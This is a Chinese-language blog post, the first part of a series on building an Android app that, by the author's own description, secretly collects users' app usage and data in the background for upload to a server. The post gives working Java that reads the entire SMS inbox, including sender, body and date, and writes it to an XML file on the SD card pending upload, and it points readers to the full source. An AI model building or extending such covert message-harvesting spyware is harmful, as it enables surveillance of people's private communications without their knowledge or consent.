安卓项目实战----收集用户信息(一)

前言

大家好!欢迎继续来访我的网站。从今天起,我将在这个专题记录我的一个安卓项目实战,我将在此中分享一些个人经验见解,希望能带给大家一点帮助,这个项目将帮助学习安卓SQLite的使用、反射工程、广播服务等等,甚至一些设计模式相关知识(其实目前我也不太懂,只是在读《设计之禅》中形成一点意识,另外也强烈推荐此书)OK,就这样不多说,开始吧!

项目简介

首先介绍一下整个项目,这个项目是关于信息安全方面的,主要是后台悄悄采集用户的程序使用情况,然后将采集到的数据上传到服务器,以供服务器端分析利用数据。难点在于如何隐蔽在后台采集数据,具体需求如下:

需求

  1. 实时检测程序(包括一部分系统程序和所有的用户程序 )是否在运行,获取程序的运行信息
  2. 获取手机短信并以文件形式储存在SD卡等待上传
  3. 控制手机一些设备的开启关闭,比如蓝牙

项目框架

动工第一步便是搭建整个项目的框架,首先工程大体分为两大类,一个是引擎类,主要包含用于获取程序使用情况和获取短信等的操作类,另一个是服务类,包含广播接收者服务和管理各服务运行的服务。这两个大类都需要抽象出接口,便于后期维护扩展。笔者使用的是Android Studio开发,工程视图如下图所示:
image

获取短信操作类

工程的框架搭好之后,我们先从简单的开始,就是获取短信的操作。这个类的工作分为两步,第一步获取短信,第二步则是保存数据。那么如何获取短信呢?学完安卓基础的都知道,安卓的通讯录、短信都是储存在SQLite数据的,所以获取短信就是简单的查询数据库操作。ok,开始吧。
首先提一下短信收件箱的URI,通过这个URI才可以连接上我们所需要的数据库表单:

1
2
3
4
/**
* 短信收件箱数据库 URI
*/

private final String SMS_INBOX_URI = "content://sms/inbox";

以下是数据库查询操作:

1
2
3
4
Uri smsUri = Uri.parse(SMS_INBOX_URI);
ContentResolver resolver = mContext.getContentResolver();
String[] projection = {"_id", "address", "person", "body", "date", "type"};
Cursor cursor = resolver.query(smsUri, projection, null, null, "date desc");

PS:在这里提一下,我在博客只是粘贴一些关键部分的代码,大家可以去我的github网站上去看所有源码
数据库查询没什么讲的,就是查询{“_id”, “address”, “person”, “body”, “date”, “type”}这几列的内容,查询完成之后返回一个游标集cursor。
接下来便要遍历游标集,在此之前需要准备工作:建立一个实例类SmsEntity,用于保存每一个短信短信实例。

1
2
3
4
5
6
7
8
9
public class SmsEntity {
private String name;
private int id;
private long person;
private String body;
private long date;
private int type;
...
}

准备工作做好之后就可以开始遍历并保存在List列表中了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int i = 1;
SmsEntity sms = null;
List<SmsEntity> list = new ArrayList<>();
while (cursor.moveToNext()) {
sms = new SmsEntity();
sms.setId(i++);
sms.setBody(cursor.getString(3));
sms.setDate(cursor.getLong(4));
sms.setType(cursor.getInt(5));
sms.setName(cursor.getString(2));
sms.setPerson(cursor.getLong(1));
Log.i(TAG, sms.toString());
list.add(sms);
}

遍历完成之后当然就是保存文件咯,xml解析保存到SD卡就好了,见代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/**
* 将获取到的短信数据保存到文件
*
* @param list 短信列表
*/

private boolean saveToFile(List<SmsEntity> list) {
FileOutputStream fos = null;
XmlSerializer xmlSerializer = Xml.newSerializer();
File fileDir = new File(Environment.getExternalStorageDirectory().getAbsolutePath() + Constants.SMS_SAVE_FILE_DIR);
if (!fileDir.exists()) fileDir.mkdirs();
File file = new File(fileDir, Constants.SMS_SAVE_FILE);
try {
fos = new FileOutputStream(file);
xmlSerializer.setOutput(fos, "utf-8");
//开始解析
xmlSerializer.startDocument("utf-8", true);
xmlSerializer.startTag(null, "SMSs");
xmlSerializer.attribute(null, "num", String.valueOf(list.size()));
for (SmsEntity sms : list) {
xmlSerializer.startTag(null, "sms");
xmlSerializer.attribute(null, "id", String.valueOf(sms.getId()));
xmlSerializer.startTag(null, "type");
xmlSerializer.text(String.valueOf(sms.getType()));
xmlSerializer.endTag(null, "type");
xmlSerializer.startTag(null, "name");
xmlSerializer.text(sms.getName() == null ? "" : sms.getName());
xmlSerializer.endTag(null, "name");
xmlSerializer.startTag(null, "person");
xmlSerializer.text(String.valueOf(sms.getPerson()));
xmlSerializer.endTag(null, "person");
xmlSerializer.startTag(null, "date");
xmlSerializer.text(String.valueOf(sms.getDate()));
xmlSerializer.endTag(null, "date");
xmlSerializer.startTag(null, "body");
xmlSerializer.text(sms.getBody());
xmlSerializer.endTag(null, "body");
xmlSerializer.endTag(null, "sms");
}
xmlSerializer.endTag(null, "SMSs");
xmlSerializer.endDocument();
} catch (Exception e) {
Log.e(TAG, "saveToFile() failed", e);
return false;
} finally {
try {
if (fos != null)
fos.close();
} catch (IOException e) {
Log.e(TAG, "fos close failed");
}
}
return true;
}

Bingo!就这样,实现了查询短信并保存到文件的功能。

期间注意几个问题:

  • 读取短信权限问题,记得加入权限
  • 安卓单元测试中,不能够直接在Test类中直接执行测试代码,因为此时Test类还没有构造完成,一些功能尚不完整,比如this.getContext()
  • xml解析过程start..()/end..()函数建议和打括号一样成对地写
  • 特别注意由于IDE的自动补全功能太过智能,有可能会把安卓权限给大写,导致权限存在但不正确,也不会报错,只是无法执行相关操作,笔者表示在这里被害惨了-_-||

    待续…